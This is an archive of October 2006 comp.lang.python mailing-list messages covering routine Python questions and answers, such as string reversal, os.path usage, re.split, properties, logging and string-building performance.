>          print 'Object not invertable'
>          return 1
>
> invert([1,2,3,4])
> invert('string')
> invert({1:2, 3:4})

A sequence can be reversed with a .reverse() method. For my needs, in 7
years of programming, I never needed to reverse a string. I think it
sounds like a reasonable rule of thumb to set aside things that you do
fairly often (let's say at least once a week or once in two weeks as
you write code, on average), and make sure you have shortcuts for all
of them, ways to write them quickly and easily, and make it easy to
remember as well. All other things, things you do less often, need not
be done so quickly and easily. Otherwise, I think you'll end up with a
language that has too many built in functions, methods, ins, outs and
what have you's.

If I had to reverse a string I'd first try the reverse method (although
my immediate feeling would be that it's probably not there), and then
I'd use a few lines to make a list, reverse it and join it. I don't
usually use one-liners. I would reason to myself that once in a few
years it's not a hardship to use a couple extra lines of code.

But maybe I'm missing something and in some problem domain there is a
frequent need to reverse a string? I saw your comment about countdown
on a launch of a shuttle, but that's not convincing to me, to be
honest, because if you wished to do anything as you count down (i.e.
print the next second number), you'd just make a loop and you can make
range() command reverse, or you can just reverse the list it returns.

It's a little strange; you do get a feeling that reversing a string
might be useful sometime or other, but the only thing I can think of is
palindromes, as someone else mentioned, which is used in some
textbooks. However, isn't it a little silly to add a function or a
method to language to make each textbook example into a one-liner?



From steve at holdenweb.com  Tue Oct 10 11:21:53 2006
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 10 Oct 2006 16:21:53 +0100
Subject: can regular ol' python do a php include?
In-Reply-To: <YzOWg.92$1n3.2328@news.tufts.edu>
References: <kZNWg.91$1n3.2228@news.tufts.edu>	<mailman.214.1160490531.11739.python-list@python.org>
	<YzOWg.92$1n3.2328@news.tufts.edu>
Message-ID: <eggdoq$n3n$1@sea.gmane.org>

John Salerno wrote:
> Fredrik Lundh wrote:
> 
> 
>>you don't even need anything from the standard library to inserting output
>>from one function into given text...
>>
>>    text = "... my page with %(foo)s markers ..."
>>
>>    print text % dict(foo=function())
> 
> 
> Wow, thanks. So if I have a file called header.html that contains all my 
> header markup, I could just insert this line into my html file? (which I 
> suppose would become a py file)
> 
> print open('header.html').read()
> 
> Not quite as elegant as include('header.html'), but it seems like it 
> would work.

Don't overlook the fact that any *real* percent signs you want in your 
template content should be represented as a doubled percent sign: %%

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From hanumizzle at gmail.com  Fri Oct  6 03:00:44 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Fri, 6 Oct 2006 03:00:44 -0400
Subject: Block Structure Parsing
In-Reply-To: <f1b9f06f0610041939u37e07f64uf7f9bc339bc80dc3@mail.gmail.com>
References: <f1b9f06f0610041939u37e07f64uf7f9bc339bc80dc3@mail.gmail.com>
Message-ID: <463ff4860610060000r6495e927kee2b9884e3f1326f@mail.gmail.com>

On 10/4/06, Blacktiger <blktiger at gmail.com> wrote:
> Hi all, I'm new to this list because I had a question about parsing
> python block structure. I am taking a programming languages course
> this semester and for our final project we are writing an interperator
> in scheme(awful language) for whatever language that we want. The
> language that I want to do is one I have been designing for a little
> while and it shares some syntactic features of Python; most notably
> the block structure.

What dialect of scheme are you limited to, if any? Because PLT and
Chicken appear to have the widest selection of extensions, it might be
good to look at them. Already on the chicken website (the cumbersome
http://www.call-with-current-continuation.org/eggs/) I found this:
http://www.iro.umontreal.ca/~boucherd/Lalr/documentation/lalr.html.
Might be what you need, might not, can't be sure.

Or you can just cheat, use s-exp syntax with unique semantics, and
then use (read) as your 'parser'. :)

-- Theerasak


From jmcmonagle at velseis.com.au  Tue Oct 24 22:29:46 2006
From: jmcmonagle at velseis.com.au (John McMonagle)
Date: Wed, 25 Oct 2006 12:29:46 +1000
Subject: How to find out the directory that the py file is in?
In-Reply-To: <ehmfq1$9ff$1@sea.gmane.org>
References: <1161733168.997417.298450@i42g2000cwa.googlegroups.com>
	<mailman.1121.1161734482.11739.python-list@python.org>
	<1161738784.293256.113900@m73g2000cwd.googlegroups.com>
	<ehmfq1$9ff$1@sea.gmane.org>
Message-ID: <1161743386.5508.15.camel@kuepper.vels-int.com.au>

On Wed, 2006-10-25 at 02:49 +0100, Steve Holden wrote:
> PengYu.UT at gmail.com wrote:
> > 
> > On Oct 24, 7:01 pm, Gabriel Genellina <gagsl... at yahoo.com.ar> wrote:
> > 
> >>At Tuesday 24/10/2006 20:39, PengYu... at gmail.com wrote:
> >>
> >>
> >>>I have the following python script and some_command in the same
> >>>directory. I have to call the python script from that directory.
> >>>Otherwise, some_command won't be found. I'm wondering how to make the
> >>>following script working no matter what the working directory is.print
> > 
> > 
> >>os.path.abspath(__file__)
> > 
> > 
> > How to get the absolute dir name which the file is in? Is there any
> > function can be called easily?
> > 
> > Thanks,
> > Peng
> > 
> 
> That would be
> 
>    os.path.split(os.path.abspath(__file__))[0]
> 
> You *are* planning to read the documentation at some stage, right? ;-)
> 

More simple:

os.path.dirname(os.path.abspath(__file__))



-- 
This message has been scanned for viruses and
dangerous content by MailScanner, and is
believed to be clean.



From http  Fri Oct  6 04:40:32 2006
From: http (Paul Rubin)
Date: 06 Oct 2006 01:40:32 -0700
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<7xk63h232z.fsf@ruckus.brouhaha.com> <eftfoe$l8n$1@sea.gmane.org>
	<mailman.1155.1159876666.10491.python-list@python.org>
	<mailman.1163.1159879479.10491.python-list@python.org>
	<fxJUg.134222$zy5.1829414@twister1.libero.it>
	<ue6dnQBgEPPCMr7YnZ2dnUVZ_rqdnZ2d@speakeasy.net>
	<eg0bo2$obu$1@nnrp.ngi.it> <45240FD5.3050705@v.loewis.de>
	<4n4Vg.135913$_J1.898276@twister2.libero.it>
	<f4rfv3-vhg.ln1@nb2.stroeder.com> <45254B18.2090806@v.loewis.de>
	<mailman.1379.1160075929.10491.python-list@python.org>
	<YzoVg.137036$zy5.1843214@twister1.libero.it>
Message-ID: <7x3ba1ltvj.fsf@ruckus.brouhaha.com>

"Giovanni Bajo" <noway at sorry.com> writes:
> Are bug-tracker configuration issues so critical that having to wait
> 48-72hrs to have them fixed is absolutely unacceptable for Python
> development? It looks like an overexaggeration. People easily cope
> with 2-3 days of SVN freezing, when they are politically (rather
> than technically) stopped from committing to SVN. I guess they can
> wait 48 hrs to be able to close that bug, or open that other one, or
> run that query.

How often should a tracker freeze anyway?  People with no technical
knowledge at all run BBS systems that almost never freeze.  Is a
tracker somehow more failure-prone?  It's just a special purpose BBS,
I'd have thought.


From accurrent at gmail.com  Wed Oct  4 21:26:41 2006
From: accurrent at gmail.com (accurrent at gmail.com)
Date: 4 Oct 2006 18:26:41 -0700
Subject: CGI Tutorial
In-Reply-To: <1159990122.487089.133950@i42g2000cwa.googlegroups.com>
References: <1159990122.487089.133950@i42g2000cwa.googlegroups.com>
Message-ID: <1160011601.862923.193130@m7g2000cwm.googlegroups.com>

Several times you improperly spell "syntax" "sintax".  Other than that
it appears to be an excellent tutorial.
Clodoaldo Pinto Neto wrote:
> I'm just building a Python CGI Tutorial and would appreciate any
> feedback from the many experts in this list.
> 
> Regards, Clodoaldo Pinto Neto



From sjmachin at lexicon.net  Thu Oct 12 18:38:07 2006
From: sjmachin at lexicon.net (John Machin)
Date: 12 Oct 2006 15:38:07 -0700
Subject: Insert characters into string based on re ?
In-Reply-To: <1160692180.139410.302410@f16g2000cwb.googlegroups.com>
References: <1160692180.139410.302410@f16g2000cwb.googlegroups.com>
Message-ID: <1160692687.727327.216970@i3g2000cwc.googlegroups.com>


Matt wrote:
> I am attempting to reformat a string, inserting newlines before certain
> phrases. For example, in formatting SQL, I want to start a new line at
> each JOIN condition. Noting that strings are immutable, I thought it
> best to spllit the string at the key points, then join with '\n'.
>
> Regexps can seem the best way to identify the points in the string
> ('LEFT.*JOIN' to cover 'LEFT OUTER JOIN' and 'LEFT JOIN'), since I need
> to identify multiple locationg in the string. However, the re.split
> method returns the list without the split phrases

Not without some minor effort on your part :-)
See below.

> and re.findall does
> not seem useful for this operation.
>
> Suggestions?

Read the fine manual:
"""
split( pattern, string[, maxsplit = 0])

Split string by the occurrences of pattern. If capturing parentheses
are used in pattern, then the text of all groups in the pattern are
also returned as part of the resulting list. If maxsplit is nonzero, at
most maxsplit splits occur, and the remainder of the string is returned
as the final element of the list. (Incompatibility note: in the
original Python 1.5 release, maxsplit was ignored. This has been fixed
in later releases.)

>>> re.split('\W+', 'Words, words, words.')
['Words', 'words', 'words', '']

# Now see what happens when you use capturing parentheses:

>>> re.split('(\W+)', 'Words, words, words.')
['Words', ', ', 'words', ', ', 'words', '.', '']
>>> re.split('\W+', 'Words, words, words.', 1)
['Words', 'words, words.']
"""

HTH,
John



From rcrida at gmail.com  Fri Oct 20 10:31:52 2006
From: rcrida at gmail.com (Robert)
Date: 20 Oct 2006 07:31:52 -0700
Subject: Logging with Logger hierarchies
In-Reply-To: <1161352732.357349.311380@h48g2000cwc.googlegroups.com>
References: <1161346350.030708.319880@i3g2000cwc.googlegroups.com>
	<1161352732.357349.311380@h48g2000cwc.googlegroups.com>
Message-ID: <1161354712.158806.13530@b28g2000cwb.googlegroups.com>

Hi again

I have seen my error! I was mistakenly occasionally creating the logger
using

logger = logging.Logger("a.b.c")

instead of

logger = logging.getLogger("a.b.c")

Doh. I miss my private constructors to save me from such embarrasment
;^)

Cheers
Robert



From cjw at sympatico.ca  Sat Oct 21 12:38:12 2006
From: cjw at sympatico.ca (Colin J. Williams)
Date: Sat, 21 Oct 2006 12:38:12 -0400
Subject: User Access to the docstring of a property
In-Reply-To: <1161358350.212350.170580@m7g2000cwm.googlegroups.com>
References: <mailman.843.1161353895.11739.python-list@python.org>
	<1161358350.212350.170580@m7g2000cwm.googlegroups.com>
Message-ID: <ehdidn$igp$1@sea.gmane.org>

George,

Thanks to Dietz and yourself.

Yes, I should have referenced the class, rather than the instance. 
However, for methods, the docstring is revealed for an instance.

Colin W.

PS It would help if someone could explain the use of @apply in the 
example Dietz gave.  The documentation gives no reference to @ or to 
decorators.

georgeryoung at gmail.com wrote:
> Colin J. Williams wrote:
>> Is there some way that the user can access the docstring specified for a
>> property?
> 
> Do keep in mind that the docstring is not guaranteed to be available.
> If
> the application is run with optimization turned on, docstrings are
> usually
> optimized out.  Docstrings are handy for reading code and maybe for
> debugging, but should not be relied upon for "users", as opposed to
> developers.
> 
> -- George Young
> 
>> Please see the example below:
>>
>> # propDocTest
>> class A(object):
>>    def __init__(self, value):
>>      self.value= value
>>    def vGet(self):
>>      return self.value
>>    V= property (fget= vGet, doc="Get Value.")
>>
>> a= A(22)
>> print a.vGet()
>> print a.V
>> print a.V.__doc__     # this gives the docstring for the value returned
>> help(a.V)             # this gives the docstring for the class/type of
>> the value returned
>>
>> Colin W.
> 



From onurb at xiludom.gro  Tue Oct 17 12:44:51 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Tue, 17 Oct 2006 18:44:51 +0200
Subject: Looking for assignement operator
In-Reply-To: <1161101280.999698.26520@i42g2000cwa.googlegroups.com>
References: <eh2n08$4ji$1@online.de>
	<1161095199.354431.157660@e3g2000cwe.googlegroups.com>
	<4534edf4$0$24770$426a74cc@news.free.fr>
	<1161101280.999698.26520@i42g2000cwa.googlegroups.com>
Message-ID: <45350884$0$3751$426a74cc@news.free.fr>

Jerry wrote:
>> class MyClass:Descriptors don't work fine with old-style classes.
> Interesting, I have used this construct before in Python 2.4.3 and not
> run into the recursion problem you talk about.

The recursion problem doesn't occur with you original code (for the good
reason that there's a name error way before). It doesn't even occur when
the cause of the name error is corrected, since the first (explicit)
call to setval() in the __init__ rebind self._val to the value passed -
so the property is in fact *never* used.

> Also, it has worked
> fine for me.  

For a very peculiar definition of "works fine" !-)

> Perhaps you can post a link to your source

class MyClass:
    def __init__(self, val):
        self.setval(val)
        print "in __init__, after setval(): self._val is %s" \
               % type(self._val)

    def getval(self):
        print "in getval - you won't see me unless you explicitely call
getval"
        return self._val

    def setval(self, val):
        print "in setval"
        self._val = val
        print "you wont see me no more unless you explicitely call setval"

    _val = property(getval, setval)


> so that I
> could study it and understand what circumstances my solution works

It doesn't work in any circumstances.

> and
> what the recommended construct actually is.

class MyWorkingClass(object):
    def __init__(self, val):
        self.val = val

    def _setval(self, val):
        print "_setval to %s" % val
        self._val = val

    def _getval(self):
        print "_getval"
        return self._val

    val = property(_getval, _setval)


>> May I kindly suggest that you learn more about properties and test your
>> code before posting ?-)
> I did test this on Python 2.4.3 in Mac OS X 10.4 and it worked fine.

Here's the exact code you posted:

class MyClass:
    def __init__(self, val):
        self.setval(val)

    def getval(self):
        return self._val

    def setval(self, val):
        assert(isinstance(val, int))
        self._val = val

    _val = property(self.getval, self.setval)

And here's the result:

Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "/usr/tmp/python-30955cPK.py", line 1, in ?
    class MyClass:
  File "/usr/tmp/python-30955cPK.py", line 15, in MyClass
    _val = property(self.getval, self.setval)
NameError: name 'self' is not defined


HTH
-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From aahz at pythoncraft.com  Fri Oct  6 08:47:40 2006
From: aahz at pythoncraft.com (Aahz)
Date: 6 Oct 2006 05:47:40 -0700
Subject: Google breaks Usenet (was Re: How can I correct an error in an old
	post?)
References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com>
	<pvc9i2l14o2jhdapmqeudal2kvvuvtksht@4ax.com>
	<1160096371.564954.132860@b28g2000cwb.googlegroups.com>
	<4SmVg.9105$GR.2172@newssvr29.news.prodigy.net>
Message-ID: <eg5j9c$g62$1@panix3.panix.com>

In article <4SmVg.9105$GR.2172 at newssvr29.news.prodigy.net>,
Bryan Olson  <fakeaddress at nowhere.org> wrote:
>Blair P. Houghton wrote:
>>
>> But they do about 10 things totally wrong with Google groups that
>> I'd've fixed in my spare time in my first week if they'd hired me back
>> when I was interviewing with them.
>> 
>> So if they want it to work, they know where to find me.
>
>Doesn't seem likely, does it? But don't let it stop you. You don't
>need Google's permission to build a better Usenet service. They
>don't have any copyright on the posts, or other special protection.
>I'm a former Googler myself and I use their service all the time,
>but if yours is better I'll switch.

The problem is the network effect.  In this case, what Google has that
can't be replicated is the history of posts.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"If you don't know what your program is supposed to do, you'd better not
start writing it."  --Dijkstra


From hg at nospam.com  Wed Oct 11 16:51:17 2006
From: hg at nospam.com (hg)
Date: Wed, 11 Oct 2006 15:51:17 -0500
Subject: nntplib tutorial
In-Reply-To: <mailman.335.1160599197.11739.python-list@python.org>
References: <IeaXg.12230$Go3.4402@dukeread05>
	<mailman.335.1160599197.11739.python-list@python.org>
Message-ID: <FXcXg.12256$Go3.7839@dukeread05>

Gabriel Genellina wrote:
> At Wednesday 11/10/2006 14:46, hg wrote:
> 
>> Is there such a thing ?
>>
>> Trying to understand the various strings I get hereunder
> 
> A basic understanding of the protocol would help a lot. The RFC 977
> itself is not so hard to read, but you could find some tutorials using
> google.
> 
> 
will give it a shot, thanks


From felipe.lessa at gmail.com  Sun Oct 29 17:25:36 2006
From: felipe.lessa at gmail.com (Felipe Almeida Lessa)
Date: Sun, 29 Oct 2006 20:25:36 -0200
Subject: Event driven server that wastes CPU when threaded doesn't
In-Reply-To: <7xlkmyzrz9.fsf@ruckus.brouhaha.com>
References: <1162120762.477120.275320@e3g2000cwe.googlegroups.com>
	<1162156412.199341.315540@i42g2000cwa.googlegroups.com>
	<7xlkmyzrz9.fsf@ruckus.brouhaha.com>
Message-ID: <c2701f5c0610291425yd7834agdc7509d5e9a974ea@mail.gmail.com>

29 Oct 2006 14:18:02 -0800, Paul Rubin <"http://phr.cx"@nospam.invalid>:
> "Nick Vatamaniuc" <vatamane at gmail.com> writes:
> > The simplest solution is to change your system and put the DB on the
> > same machine thus greatly reducing the time it takes for each DB query
> > to complete (avoid the TCP stack completely).
>
> Since when do any db's let you avoid the TCP stack, even on the same
> machine?

Since there are Unix sockets? A quick google:

http://dev.mysql.com/doc/refman/5.0/en/multiple-unix-servers.html
http://archives.postgresql.org/pgsql-hackers/1997-10/msg00568.php


-- 
Felipe.


From russandheather at gmail.com  Tue Oct 10 13:48:14 2006
From: russandheather at gmail.com (Russell Warren)
Date: 10 Oct 2006 10:48:14 -0700
Subject: Funky file contents when os.rename or os.remove are interrupted
Message-ID: <1160502494.520457.276080@m7g2000cwm.googlegroups.com>

I've got a case where I'm seeing text files that are either all null
characters, or are trailed with nulls due to interrupted file access
resulting from an electrical power interruption on the WinXP pc.

In tracking it down, it seems that what is being interrupted is either
os.remove(), or os.rename().  Has anyone seen this behaviour, or have
any clue what is going on?

On first pass I would think that both of those calls are single step
operations (removing/changing an entry in the FAT, or FAT-like thing,
on the HDD) and wouldn't result in an intermediate, null-populated,
step, but the evidence seems to indicate I'm wrong...

Any insight from someone with knowledge of the internal operations of
os.remove and/or os.rename would be greatly appreciated, although I
expect the crux may be at the os level and not in python.

Russ



From apoelstra at false.site  Tue Oct 24 22:35:37 2006
From: apoelstra at false.site (Andrew Poelstra)
Date: Wed, 25 Oct 2006 02:35:37 GMT
Subject: return tuple from C to python (extending python)
In-Reply-To: <1161728694.741915.170890@m7g2000cwm.googlegroups.com>
References: <1161728694.741915.170890@m7g2000cwm.googlegroups.com>
Message-ID: <1161743739.9596.0.camel@dsktp>

On Tue, 2006-10-24 at 15:24 -0700, Kiran wrote:
> Hi all, I want to make python call some C functions, process them and
> return them.

Try comp.lang.python
-- 
Andrew Poelstra  <http://www.wpsoftware.net/projects/>



From bj_666 at gmx.net  Sat Oct 28 05:42:42 2006
From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch)
Date: Sat, 28 Oct 2006 11:42:42 +0200
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
	<7xvem8gq22.fsf@ruckus.brouhaha.com>
	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>
	<453FD3AF.4040800@v.loewis.de>
	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>
	<donn-4380C3.15593125102006@gnus01.u.washington.edu>
	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>
	<mailman.1264.1161861732.11739.python-list@python.org>
	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>
	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1341.1161943345.11739.python-list@python.org>
	<slrnek3ohb.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1342.1161948402.11739.python-list@python.org>
	<slrnek3rko.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1345.1161950058.11739.python-list@python.org>
	<pan.2006.10.27.14.03.18.314595@REMOVE.THIS.cybersource.com.au>
	<1161973508.972142.109500@i42g2000cwa.googlegroups.com>
	<pan.2006.10.28.07.45.14.198030@REMOVE.THIS.cybersource.com.au>
Message-ID: <pan.2006.10.28.09.42.42.894832@gmx.net>

In <pan.2006.10.28.07.45.14.198030 at REMOVE.THIS.cybersource.com.au>, Steven
D'Aprano wrote:

> On Fri, 27 Oct 2006 11:25:09 -0700, Carl Banks wrote:
> 
>> Iterators do have overlapping uses with lists, but the "if a:" doesn't
>> work for them, so it's moot.
> 
> Sure it works for iterators.
> 
>>>> it = iter([0])
>>>> bool(it)
> True
>>>> it.next()
> 0
>>>> bool(it)
> False

It works for *this* iterator.  By accident.

Ciao,
	Marc 'BlackJack' Rintsch


From mail at microcorp.co.za  Fri Oct 27 01:50:46 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Fri, 27 Oct 2006 07:50:46 +0200
Subject: displaying \n-less prompts in a pythonic way
References: <_pGdnRgy36cLON3YnZ2dnUVZ_s2dnZ2d@comcast.com><slrnek1a1g.its.sybrenUSE@schuimige.stuvel.eu>
	<ehqc20$378$2@sea.gmane.org>
Message-ID: <032601c6f995$4e619860$03000080@hendrik>

"Steve Holden" <steve at holdenweb.com> wrote:
8<-----------------------------------------------------------

>   >>> mystr = raw_input("Who is this? ")
> Who is this? Steve

how did you know how to answer that?

- Hendrik




From rpdooling at gmail.com  Wed Oct 11 17:45:26 2006
From: rpdooling at gmail.com (BartlebyScrivener)
Date: 11 Oct 2006 14:45:26 -0700
Subject: python 2.5 & sqlite3
In-Reply-To: <mailman.337.1160600574.11739.python-list@python.org>
References: <1160598897.399515.290620@m7g2000cwm.googlegroups.com>
	<mailman.337.1160600574.11739.python-list@python.org>
Message-ID: <1160603125.964879.17480@m73g2000cwd.googlegroups.com>

Fredrik Lundh wrote:

> wasting time on broken distributions?

It's not broken. I like Pythonwin better than IDLE. Either way I need
to know where to put the sqlite files, right? 

rd



From hanumizzle at gmail.com  Fri Oct 13 11:57:03 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Fri, 13 Oct 2006 11:57:03 -0400
Subject: Line algorithim for python and numeric
In-Reply-To: <P8OXg.47123$DU3.17444@tornado.texas.rr.com>
References: <1160749997.673677.325150@m73g2000cwd.googlegroups.com>
	<mailman.449.1160750510.11739.python-list@python.org>
	<P8OXg.47123$DU3.17444@tornado.texas.rr.com>
Message-ID: <463ff4860610130857q241ee7afy8bd6c3edde48bb34@mail.gmail.com>

On 10/13/06, Paul McGuire <ptmcg at austin.rr._bogus_.com> wrote:
> "Theerasak Photha" <hanumizzle at gmail.com> wrote in message
> news:mailman.449.1160750510.11739.python-list at python.org...
> > On 13 Oct 2006 07:33:17 -0700, bcdonovan at gmail.com <bcdonovan at gmail.com>
> > wrote:
> >> Hi everyone,
> >>
> >>   I'm wondering if anyone knows of a way to extract data from a numeric
> >> array along a line. I have a gridded dataset which I would like to be
> >> able to choose two points and extract a 1-d array of the data values
> >> along the line between the two points. Any ideas?
> >
> > Are these all 45 degree lines or what?
> >
> > If not, you'll have to use trigonometry and approximate the closest
> > matching cell. (Don't worry, Python has maths functions!! :))
> >
> > -- Theerasak
>
> No need for that messy trig stuff - simpler and faster would be to use
> linear interpolation, since you know the starting and ending cell
> coordinates, and how many values you want, compute the array of... oh, hell,
> here it is:

I'm not in kolluge yet and I just learned about linear interpolation
today---although I don't think it would necessarily apply to this
problem, where the increments set by the grid might be more discrete
than the line itself (hope you see what my innumerate self is trying
to say!!), thanx for teaching me something new. :)

To myself: Gee duh, Theerasak, it make sense now!

-- Theerasak


From __peter__ at web.de  Mon Oct  9 07:18:19 2006
From: __peter__ at web.de (Peter Otten)
Date: Mon, 09 Oct 2006 13:18:19 +0200
Subject: can compile function have a bug?
References: <1160274901.447221.45720@e3g2000cwe.googlegroups.com>
	<egcult$391$03$1@news.t-online.com>
	<1160387654.232351.238200@i42g2000cwa.googlegroups.com>
Message-ID: <egdb25$4he$01$1@news.t-online.com>

John Machin wrote:

> But it's not an all-UTF-8 environment; his_encoding = 'gb2312' or one
> of its heirs/successors :-)

Ouch. Almost understanding a problem hurts more than not understanding it at
all. I just had a refresher of the experience...

Peter


From johnjsal at NOSPAMgmail.com  Wed Oct 18 16:55:41 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Wed, 18 Oct 2006 20:55:41 GMT
Subject: Classes and Functions - General Questions
In-Reply-To: <1161200542.603408.94630@k70g2000cwa.googlegroups.com>
References: <1161200542.603408.94630@k70g2000cwa.googlegroups.com>
Message-ID: <hxwZg.111$1n3.3167@news.tufts.edu>

Setash wrote:

> And have class2 inherit class1 without any import statements, or need
> it be imported first?
> Or need class1 and class2 be both declared in the same .py file if
> there is inheritance?

If the classes are in the same module, you don't need to do any 
importing or qualification. If they are in separate modules, you need to 
import the necessary module(s) and then you can use its contents.

> 2) Function overloading - is it possible?
> 
> Can I have the following code, or something which acts the same in
> python?:
> 
> 
> def function(a, b)
>    do things
> 
> def function(a, b, c)
>    do things only if I get a third argument

I don't know all the details, but you can't do this with Python. One 
alternative is to use an arbitrary number of arguments with the *args 
parameter.


From fulvio at tm.net.my  Thu Oct 26 08:31:25 2006
From: fulvio at tm.net.my (Fulvio)
Date: Thu, 26 Oct 2006 20:31:25 +0800
Subject: Handling emails
In-Reply-To: <GhC%g.18871$UG4.13890@newsread2.news.pas.earthlink.net>
References: <mailman.967.1161596728.11739.python-list@python.org>
	<mailman.1090.1161707760.11739.python-list@python.org>
	<GhC%g.18871$UG4.13890@newsread2.news.pas.earthlink.net>
Message-ID: <200610262031.25448.fulvio@tm.net.my>

***********************
Your mail has been scanned by InterScan MSS.
***********************


On Wednesday 25 October 2006 13:06, Dennis Lee Bieber wrote:

> #   based upon bits from the (Active)Python 2.4 help system and other
> code...
OK, good help, Thank you.
As I had confessed, that code was extrapolated from other sources and I took 
it for granted as long  as is working on my purpose.
Most of my purpose is to get the whole mail. Last function has no use.
Both code doing well the only difference is the way to call 
email.message_from_(file|string)

F




From MonkeeSage at gmail.com  Thu Oct  5 21:42:37 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 5 Oct 2006 18:42:37 -0700
Subject: building strings from variables
References: <mailman.1390.1160090492.10491.python-list@python.org>
Message-ID: <1160098957.196734.192950@i3g2000cwc.googlegroups.com>

wesley chun wrote:
> from the performance standpoint, i believe that #4 (list join) from
> scott is the fastest. #1 (string formatting) is next preferred only
> because #3 (string concat) is the worst [think "realloc()"].  #2 is
> useful for when you have users who aren't as comfortable with #1.

I might have done something wrong here, but it looks like the %
operator would be the fastest (negligibly). And string.Template is
horribly slow(!).

import os, sys, string, timeit

hl = [['working_dir', os.getcwd()],
      ['ssh_cmd'    , 'ssh'],
      ['some_count' , 5],
      ['some_param1', 'cheese'],
      ['some_param2', 'burger']]

hd = dict(hl)
ht = tuple(map(lambda x: x[1], hl))
sys.modules['__main__'].__dict__.update(hd)

def make_string_fmt():
  out = "cd %s ; %s %d %s %s" % ht
def make_string_cat():
  out = "cd "+working_dir+" ; "+ssh_cmd+" "+str(some_count)+" "+\
        some_param1+" "+some_param2
def make_string_lst():
  out = ' '.join(["cd", working_dir, ";", ssh_cmd,
                 str(some_count), some_param1, some_param2])
def make_string_tmp():
  out = string.Template("cd $working_dir ; $ssh_cmd"
                        "$some_count $some_param1 $some_param2")\
                       .substitute(hd)

print "String formatting time:"
print timeit.Timer("make_string_fmt()",
                   "from __main__ import make_string_fmt").timeit()
print "String concatination time:"
print timeit.Timer("make_string_cat()",
                   "from __main__ import make_string_cat").timeit()
print "List join time:"
print timeit.Timer("make_string_lst()",
                   "from __main__ import make_string_lst").timeit()
print "Template substitution time:"
print timeit.Timer("make_string_tmp()",
                   "from __main__ import make_string_tmp").timeit()

========

Output:

String formatting time:
4.62050509453
String concatination time:
5.90371489525
List join time:
6.72425699234
Template substitution time:
66.4205350876

Regards,
Jordan



From steve at REMOVE.THIS.cybersource.com.au  Sat Oct 28 03:45:14 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Sat, 28 Oct 2006 17:45:14 +1000
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
	<7xvem8gq22.fsf@ruckus.brouhaha.com>
	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>
	<453FD3AF.4040800@v.loewis.de>
	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>
	<donn-4380C3.15593125102006@gnus01.u.washington.edu>
	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>
	<mailman.1264.1161861732.11739.python-list@python.org>
	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>
	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1341.1161943345.11739.python-list@python.org>
	<slrnek3ohb.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1342.1161948402.11739.python-list@python.org>
	<slrnek3rko.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1345.1161950058.11739.python-list@python.org>
	<pan.2006.10.27.14.03.18.314595@REMOVE.THIS.cybersource.com.au>
	<1161973508.972142.109500@i42g2000cwa.googlegroups.com>
Message-ID: <pan.2006.10.28.07.45.14.198030@REMOVE.THIS.cybersource.com.au>

On Fri, 27 Oct 2006 11:25:09 -0700, Carl Banks wrote:

> Steven D'Aprano wrote:
>> But in this specific instance, I don't see any advantage to explicitly
>> testing the length of a list. Antoon might think that is sufficiently
>> polymorphic, but it isn't. He cares whether the object has zero _length_,
>> but for true polymorphism, he should be caring about whether the object is
>> _empty_. Not all empty objects have zero length, or even a length at all.
>> (E.g. binary trees.)
> 
> Conversely, not all objects that have length consider zero-length to be
> false.  

Which is why truth-testing is defined by __nonzero__ with __len__ only the
fall-back, for convenience.

> Whether you test with "if a:" or "if len(a)>0", some objects
> are going to be denied.

If a class doesn't define __nonzero__ or __len__, it should. Unless it is
meant to always be True.


> Thing is, objects that don't have length have almost no overlapping
> uses with lists (i.e., you'd hardly ever write a function that could
> take an int or a list, unless you type check the argument or use only
> object protocol stuff like id and getattr, or pass it to another
> function that does the same).  Iterators do have overlapping uses with
> lists, but the "if a:" doesn't work for them, so it's moot.

Sure it works for iterators.

>>> it = iter([0])
>>> bool(it)
True
>>> it.next()
0
>>> bool(it)
False

Perhaps this behaviour has changed in version 2.5, if so, I'd like to hear
the rationalisation before I declare it a mistake.


> P.S. binary trees do have length: it's the number of nodes, just as the
> number of keys is the length of a dict.

I don't know what you were taught, but I was taught that binary trees have
height and breadth. "Length" was never used for the number of nodes. If
you go to the trouble of walking the tree, you obviously get the
equivalent of a list with a length, but in all the texts I've read,
walking the entire tree is the classic example of an expensive operation
that you should try to avoid if you don't need to. The same goes for
counting the number of nodes, unless you wanted to cache the result
somewhere.



-- 
Steven.



